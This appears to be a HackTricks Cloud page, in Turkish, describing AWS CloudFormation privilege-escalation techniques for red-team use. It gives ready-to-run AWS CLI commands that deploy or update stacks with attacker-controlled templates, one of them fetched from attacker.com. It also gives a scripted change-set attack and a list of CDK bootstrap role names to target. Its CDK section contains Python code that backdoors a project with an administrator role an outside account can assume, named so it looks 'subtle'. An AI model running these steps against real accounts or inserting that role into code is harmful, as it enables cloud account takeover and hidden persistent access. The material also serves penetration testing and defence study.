AWS - Cloudformation Privesc
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
cloudformation
Cloudformation hakkında daha fazla bilgi için kontrol edin:
AWS - CloudFormation & Codestar Enum
iam:PassRole, cloudformation:CreateStack
Bu izinlere sahip bir saldırgan, belirtilen bir rolün izinleri altında eylemler gerçekleştirmek için kendi sunucusunda barındırılan özel bir şablon ile bir CloudFormation yığını oluşturarak yetkileri artırabilir:
aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>
Aşağıdaki sayfada bir istismar örneği ile ek izin cloudformation:DescribeStacks bulunmaktadır:
iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks
Olası Etki: Belirtilen cloudformation hizmet rolüne privesc.
iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)
Bu durumda, mevcut bir cloudformation yığını kötüye kullanarak güncelleyebilir ve önceki senaryodaki gibi ayrıcalıkları artırabilirsiniz:
aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1
cloudformation:SetStackPolicy izni, bir yığın üzerinde kendinize UpdateStack izni vermek için kullanılabilir ve saldırıyı gerçekleştirebilirsiniz.
Olası Etki: Belirtilen cloudformation hizmet rolüne privesc.
cloudformation:UpdateStack | cloudformation:SetStackPolicy
Bu izne sahipseniz ancak iam:PassRole yoksa, yine de kullanılan yığınları güncelleyebilir ve zaten eklenmiş IAM Rolleri kötüye kullanabilirsiniz. Sömürü örneği için önceki bölüme bakın (güncellemeye herhangi bir rol belirtmeyin).
cloudformation:SetStackPolicy izni, bir yığın üzerinde kendinize UpdateStack izni vermek için kullanılabilir ve saldırıyı gerçekleştirebilirsiniz.
Olası Etki: Zaten eklenmiş cloudformation hizmet rolüne privesc.
iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)
Bir rolü geçirme ve bir ChangeSet oluşturma & yürütme izinlerine sahip bir saldırgan, yeni bir cloudformation yığını oluşturup/güncelleyerek cloudformation hizmet rollerini CreateStack veya UpdateStack ile olduğu gibi kötüye kullanabilir.
Aşağıdaki sömürü, ChangeSet izinlerini kullanarak bir yığın oluşturmanın bir varyasyonudur CreateStack birine.
aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1
echo "Waiting 2 mins to change the stack"
sleep 120
aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1
echo "Waiting 2 mins to execute the stack"
sleep 120
aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1
cloudformation:SetStackPolicy izni, bir yığın üzerinde ChangeSet izinleri vermek için kullanılabilir ve saldırıyı gerçekleştirebilirsiniz.
Olası Etki: cloudformation hizmet rollerine privesc.
(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)
Bu, IAM rollerini geçmeden önceki yöntem gibidir, bu nedenle sadece zaten eklenmiş olanları kötüye kullanabilirsiniz, sadece parametreyi değiştirin:
--change-set-type UPDATE
Potansiyel Etki: Zaten ekli olan cloudformation hizmet rolüne privesc.
iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)
Bir saldırgan, bu izinleri kötüye kullanarak StackSet’ler oluşturup/güncelleyerek keyfi cloudformation rollerini kötüye kullanabilir.
Potansiyel Etki: Cloudformation hizmet rollerine privesc.
cloudformation:UpdateStackSet
Bir saldırgan, passRole izni olmadan bu izni kötüye kullanarak StackSet’leri güncelleyebilir ve ekli cloudformation rollerini kötüye kullanabilir.
Potansiyel Etki: Ekli cloudformation rollerine privesc.
AWS CDK
AWS cdk, kullanıcıların zaten aşina oldukları dillerde altyapılarını kod olarak tanımlamalarını sağlayan bir araçtır ve bölümleri kolayca yeniden kullanmalarına olanak tanır. CDK, yüksek seviyeli kodu (yani python) Cloudformation şablonlarına (yaml veya json) dönüştürür.
CDK’yı kullanmak için, bir yönetici kullanıcının önce hesabı başlatması gerekir; bu, exec rolü dahil olmak üzere birkaç IAM rolü oluşturur ve bu rolün */* izinleri vardır. Bu roller, cdk-<qualifier>-<name>-<account-id>-<region> adlandırma yapısını takip eder. Başlatma, her bölge için her hesap için bir kez yapılmalıdır.
Varsayılan olarak, CDK kullanıcılarının CDK’yı kullanmak için gereken rolleri listeleme erişimi yoktur; bu da onları manuel olarak belirlemeniz gerektiği anlamına gelir. Eğer bir geliştiricinin makinesini veya bazı CI/CD düğümlerini ele geçirirseniz, bu roller, CFN şablonlarını dağıtma yeteneği sağlamak için üstlenilebilir; cfn-exec rolünü kullanarak CFN’nin herhangi bir kaynağı dağıtmasına izin vererek hesabı tamamen tehlikeye atabilirsiniz.
Rol adlarını belirleme
Eğer cloudformation:DescribeStacks iznine sahipseniz, roller CDKToolkit adlı bir yığında tanımlıdır ve isimleri oradan alabilirsiniz.
Eğer CDK projelerini oluşturmak ve dağıtmak için kullanılmış bir makinedeyseniz, bunları projelerin kök dizinindeki cdk.out/manafest.json dosyasından alabilirsiniz.
Ayrıca, bunların ne olduğunu iyi bir tahminle belirleyebilirsiniz. qualifier, birden fazla CDK başlatma örneğinin aynı anda dağıtılmasına izin veren rollere eklenen bir dizedir; ancak varsayılan değer hnb659fds olarak sabitlenmiştir.
# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>
Projeye kötü niyetli kod ekleme
Eğer proje kaynağına yazabiliyorsanız, ancak kendiniz dağıtamıyorsanız (örneğin, geliştirici kodu CI/CD aracılığıyla dağıtıyorsa, yerel makine üzerinden değil), yine de yığın içine kötü niyetli kaynaklar ekleyerek ortamı tehlikeye atabilirsiniz. Aşağıdaki, bir saldırgan hesabı tarafından üstlenilebilecek bir IAM rolünü bir python CDK projesine ekler.
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)
# ----------
# Some existing code.....
# ----------
role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)
Referanslar
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

